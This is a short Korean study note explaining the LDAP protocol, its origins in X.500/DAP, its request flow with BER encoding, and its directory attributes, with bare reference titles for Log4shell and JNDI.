LDAP 프로토콜은 X.500 DAP를 거치지 않고 X.500 모델들을 지원하는 디렉터리 액세스를 제공하기 위해 DAP를 경량화 시킨 디렉터리 엑세스 프로토콜이다.
X.500
X.500은 ITU에서 제정한 디렉터리 서비스 표준이다.
DAP(Directory Acess Protocol)
LDAP 가 등장하기 이전에 ISO(International Standards Organization)에서 재정한 컴퓨터 네트워크 모델인 OSI 7 Layer의 응용계층에 속하는 프로토콜로서 정보통신 서비스에 필요한 정보를 데이터베이스화하여 효율적으로 관리하고 사용자가 편리하게 접근할 수 있는 기능을 제공하는 서비스 이다.(ref. https://ldap.or.kr/ldap-a-to-z/)
즉, 인터넷 사용자들에게 다른 사용자나 서비스에 관련된 정보들을 검색할 수 있는 수단을 제공하는 프로토콜로, 현재는 OSI 계층 전체의 프로토콜을 지원하고 통신 간에 네트워크 자원을 많이 소비하는 등 운영 환경에 제약이 많아 LDAP 를 사용한다.
X.500(= DAP)는 OSI 7 Layer 인 반면에, LDAP 는 TCP/IP 4 Layer
동작과정
1.
LDAP Application이 LDAP API에 요청을 보낸다.
2.
LDAP API는 Application에서 받은 요청을 LDAP 서버로 BER 인코딩 후 전달한다.
3.
LDAP 서버는 전송받은 데이터를 디코딩하여 요청을 확인 후 필요한 정보를 Backend에서 검색/추가/삭제를 실시한다.
4.
요청한 작업이 완료되면 요청 완료 정보(Result set)를 다시 BER 인코딩 후 전송한다.
5.
LDAP API는 전송받은 정보(Result set)을 디코딩하여 LDAP Application에서 확인할 수 있도록 출력해준다.
LDAP 디렉터리 구조
LDAP 서버에는 여러 엔트리가 트리구조로 들어가 있으며, 각각의 엔트리는 다수의 속성(이름 등)을 갖는다.
각 엔트리는 DN(Distinguished Name)이라는 고유값으로 정의된다.
일반적으로 LDAP은 다음과 같이 구성된다.
•
cn(Common Name)
•
sn(Sir Name)
•
ou(Organization Unit): 그룹에 해당
•
dc(Domain Component): 도메인의 요소
◦
www.google.com 의 dc 는 dc=www, dc=google, dc=com
•
dn(Distinguished Name): 고유의 이름
•
o(rganization)
•
c(country)
•
uid(user id)
참고자료
•
Log4shell(CVE-2021-44228)
•
JNDI